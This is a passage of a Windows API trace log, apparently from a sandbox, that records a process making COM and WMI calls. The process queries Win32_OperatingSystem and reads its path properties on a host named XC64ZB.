This=0x1b351ee8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351eb0) returned 0x0 [0286.076] WbemLocator:IRpcOptions:Query (in: This=0x1b351eb0, pPrx=0x1b351ee8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0286.076] WbemLocator:IUnknown:Release (This=0x1b351eb0) returned 0x3 [0286.076] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0286.076] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0286.077] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0286.077] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474720) returned 0x0 [0286.077] WbemLocator:IUnknown:AddRef (This=0x1d474720) returned 0x4 [0286.077] WbemLocator:IUnknown:Release (This=0x1d474720) returned 0x3 [0286.077] WbemLocator:IUnknown:Release (This=0x1d474720) returned 0x2 [0286.077] SysStringLen (param_1=0x0) returned 0x0 [0286.077] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0286.077] WbemLocator:IUnknown:AddRef (This=0x1b351ee8) returned 0x3 [0286.077] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ee8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351ee8) returned 0x0 [0286.077] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x3 [0286.077] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x2 [0286.077] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0286.077] WbemLocator:IUnknown:AddRef (This=0x1d474720) returned 0x3 [0286.077] IWbemServices:ExecQuery (in: This=0x1d474720, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35b7c0) returned 0x0 [0286.210] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35b7c8) returned 0x0 [0286.210] IClientSecurity:QueryBlanket (in: This=0x1d35b7c8, pProxy=0x1d35b7c0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0286.210] IUnknown:Release (This=0x1d35b7c8) returned 0x1 [0286.210] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b351ba8) returned 0x0 [0286.210] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35b7c8) returned 0x0 [0286.210] IClientSecurity:SetBlanket (This=0x1d35b7c8, pProxy=0x1d35b7c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0286.421] IUnknown:Release (This=0x1d35b7c8) returned 0x2 [0286.421] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0286.421] CoTaskMemFree (pv=0x1d471d70) [0286.422] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b351ba8) returned 0x0 [0286.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0286.529] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0286.662] IUnknown:QueryInterface (in: This=0x1d35b7c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0286.765] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0286.765] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0286.765] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0286.765] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b351a88) returned 0x0 [0286.765] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0286.765] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 0x3 [0286.765] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0286.765] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0286.765] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351b70) returned 0x0 [0286.766] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0286.766] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0286.766] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0286.766] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0286.766] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0286.766] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35b7c0) returned 0x0 [0286.766] IUnknown:AddRef (This=0x1d35b7c0) returned 0x4 [0286.766] IUnknown:Release (This=0x1d35b7c0) returned 0x3 [0286.766] IUnknown:Release (This=0x1d35b7c0) returned 0x2 [0286.766] WbemLocator:IUnknown:Release (This=0x1d474720) returned 0x2 [0286.766] SysStringLen (param_1=0x0) returned 0x0 [0286.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0286.766] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0286.766] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0286.767] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0286.767] IUnknown:AddRef (This=0x1d35b7c0) returned 0x3 [0286.767] IEnumWbemClassObject:Clone (in: This=0x1d35b7c0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35ca20) returned 0x0 [0286.862] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35ca28) returned 0x0 [0286.862] IClientSecurity:QueryBlanket (in: This=0x1d35ca28, pProxy=0x1d35ca20, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0286.862] IUnknown:Release (This=0x1d35ca28) returned 0x1 [0286.862] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b352088) returned 0x0 [0286.862] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35ca28) returned 0x0 [0286.862] IClientSecurity:SetBlanket (This=0x1d35ca28, pProxy=0x1d35ca20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0287.362] IUnknown:Release (This=0x1d35ca28) returned 0x2 [0287.362] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0287.363] CoTaskMemFree (pv=0x1d472040) [0287.363] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b352088) returned 0x0 [0287.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0287.519] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0287.589] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0287.617] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0287.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0287.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0287.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b351f68) returned 0x0 [0287.617] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351f68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0287.617] WbemLocator:IUnknown:Release (This=0x1b351f68) returned 0x3 [0287.617] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0287.617] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0287.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b352050) returned 0x0 [0287.617] WbemLocator:IRpcOptions:Query (in: This=0x1b352050, pPrx=0x1b352088, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0287.617] WbemLocator:IUnknown:Release (This=0x1b352050) returned 0x3 [0287.617] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0287.617] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0287.617] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0287.617] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35ca20) returned 0x0 [0287.617] IUnknown:AddRef (This=0x1d35ca20) returned 0x4 [0287.617] IUnknown:Release (This=0x1d35ca20) returned 0x3 [0287.617] IUnknown:Release (This=0x1d35ca20) returned 0x2 [0287.618] IUnknown:Release (This=0x1d35b7c0) returned 0x2 [0287.618] SysStringLen (param_1=0x0) returned 0x0 [0287.618] IEnumWbemClassObject:Reset (This=0x1d35ca20) returned 0x0 [0287.664] CoTaskMemAlloc (cb=0x8) returned 0x5249b0 [0287.664] IEnumWbemClassObject:Next (in: This=0x1d35ca20, lTimeout=-1, uCount=0x1, apObjects=0x5249b0, puReturned=0x294f748 | out: apObjects=0x5249b0*=0x1b349b20, puReturned=0x294f748*=0x1) returned 0x0 [0287.688] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b349b20) returned 0x0 [0287.688] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0287.688] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0287.688] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0287.689] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0287.689] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0287.689] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0287.689] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b349b28) returned 0x0 [0287.689] IMarshal:GetUnmarshalClass (in: This=0x1b349b28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0287.689] IUnknown:Release (This=0x1b349b28) returned 0x3 [0287.689] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0287.689] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0287.689] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0287.689] IUnknown:Release (This=0x1b349b20) returned 0x2 [0287.689] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0287.689] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0287.689] IUnknown:QueryInterface (in: This=0x1b349b20, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b349b20) returned 0x0 [0287.689] IUnknown:AddRef (This=0x1b349b20) returned 0x4 [0287.690] IUnknown:Release (This=0x1b349b20) returned 0x3 [0287.690] IUnknown:Release (This=0x1b349b20) returned 0x2 [0287.690] CoTaskMemFree (pv=0x5249b0) [0287.690] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0287.690] IUnknown:AddRef (This=0x1b349b20) returned 0x3 [0287.690] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0287.690] IWbemClassObject:Get (in: This=0x1b349b20, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0287.690] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0287.690] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0287.691] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0287.691] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0287.691] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0287.691] IUnknown:Release (This=0x4b0108) returned 0x1 [0287.692] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d496f60) returned 0x0 [0287.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d496f60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0287.693] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d496f60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0287.693] WbemDefPath:IUnknown:Release (This=0x1d496f60) returned 0x0 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0287.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, 